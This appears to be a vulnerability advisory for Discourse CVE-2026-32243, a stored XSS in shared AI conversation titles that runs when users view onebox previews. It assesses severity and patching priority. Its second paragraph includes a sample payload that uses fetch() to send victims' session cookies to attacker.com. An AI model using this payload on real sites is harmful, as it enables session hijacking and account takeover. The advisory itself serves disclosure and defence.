Discourse CVE-2026-32243

This vulnerability carries moderate real-world risk despite a CVSS score of 5.3 (Medium). The attack requires PR:L (authenticated attacker with conversation creation privileges), which limits the attack surface to users with account access and conversation creation permissions. However, the impact is significant: confirmed integrity violation (VI:L) combined with stored XSS properties enabling session hijacking or unauthorized account actions creates tangible harm. The UI:N classification indicates no user interaction is required beyond viewing a preview - a highly plausible scenario in a discussion platform where users naturally view shared conversation previews. EPSS exploitation probability and automated patch availability are not provided in input data. The lack of any public exploit code or KEV confirmation suggests this is lower priority than remote unauthenticated XSS, but the stored nature of the injection and the specific targeting of AI conversation features (an expanding attack surface in modern platforms) warrants timely patching. Organizations with large numbers of untrusted Discourse users or those using AI conversation features heavily should prioritize remediation.

A malicious actor with valid Discourse credentials creates a shared AI conversation with a title containing a payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">'. When other users view the onebox preview of this conversation (e.g., in a chat message or post mentioning the link), the JavaScript executes in their browser context, exfiltrating session cookies or executing actions as the victim user. Since onebox previews are rendered automatically without additional user interaction beyond viewing, the attack surface is broad within active discussion communities.